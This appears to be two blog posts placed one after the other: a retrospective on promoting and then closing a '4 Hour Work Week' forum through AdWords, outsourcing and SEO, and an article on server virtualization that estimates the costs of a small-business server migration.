I then setup an Adwords account with specific keywords and within a few days I am getting a 3.5% CTR on my terms and traffic starts coming. New members are signing up at the rate of about 1 per day. Not good enough for what I need, I up the ad spend a little change my keywords, broad match some competitive terms and now I have a CTR of over 6%. I do a ton of A/B testing for ads and I am happy with the traffic but not the new signups. I am tracking conversions with Google Analytics and I know exactly what each new user is costing me, in both time and money.

4 Hour Work Week adsense

The amount for effort required to maintain the site is not an issue, it maintains and polices itself and with my Indian freelancer it was costing me about $16 per day to have dozen of current and relevant posts updated to the site. I am getting Google PR, tons of backlinks and I am in the Google index. I have 376 indexed pages in less than three months; I have 301 redirects from common misspellings of the domain and I am getting good traffic. From an execution perspective I have done everything right. I am just not meeting or exceeding my plan.

Google Index Pages

Knowing when to say when

Having a plan about what I needed, an execution road map and plan helped me to plan my attack for this muse. It did not work out, but I also have not wasted time in pretending that it will eventually work. The NR plan, check, test and execute. We also need to know when to say when.

So what to do? I have tested. Retested and have changed variables that have given me great responses, but I need to move on and focus on more muse creations. For those of you who have read the book I am sure that you can appreciate the “why??? I am doing this. For those of you who have not read the book, do yourself a favor grab it. It might just change your life.

As of December 1, I am 301 redirecting the forum to my personal blog. I will keep updating the blog with 4hww news. Same information, just a different format.


Server Virtualization, What Your Outsourced IT Company May Not Be Telling You

I am not going to get into the nuts and bolts of operating system virtualization but I am going to give you enough information to follow along. Software virtualization is the ability to run multiple operating systems at the same time on the same computer. The basic premise is that for most of the day your server is basically idle and the CPU and memory are not tasked with processes all day long, the server has excess capacity and virtualization allows you to maximize your investment by installing another full version of an operating system on your hardware at the same time.

The reuse of surplus computer time can help to minimize the majority of hardware acquisition and maintenance costs and reduces your total cost of ownership and it can result in significant savings for any company.

How does this help me?
Here is the typical scenario; a company has a server that was purchased in 2002, it runs perfectly but there are concerns about its age and the cost to maintain an out of warranty system. The IT people are getting feedback from all the users that the system is slow and that you need more disk space, but overall everything is working just fine.

Based on my 15 years of experience with these types of migrations here are your costs. New Server for a typical 25 user company, with Windows 2003 Small Business Server, Tape Drive and 150GB of RAID 5 storage with tape backup software will run you about $6500.

Small Business Scenario
In scenario A: Company buys a new server and migrates the users, settings and configuration from the existing server to the new server. Most of the basic migration steps can be done without disrupting the users, the accounts are synchronized, the shared folders are created for the data migration, the Exchange Server and SQL server are installed and patched and the migration begins. (This is after the 2 weeks of planning and trial migrations, and the inevitable reinstall because something was just not right) The heavy lifting is done after hours or on a weekend if you have internal IT staff and the process will take anywhere from 8 to 32 hours depending on how your network is configured and how the users access the server. One the migration has been completed the testing begins. Can the users access their mailboxes, are the shared folders there, are the protected folders still safe, does the database work, a huge flurry of tests and you are finally satisfied that the migration has worked.

You then shut down the old server and the company is now running on the new server with new hardware, more disk space and perhaps even the latest version of the operating system. The IT guys love it, the users are finding that things are not EXACTLY like they expected them, especially the printers and email but for the most part SUCCESS. It may take a few days to iron out all the kinks, a huge milestone for your IT staff and not one person will say thank you!

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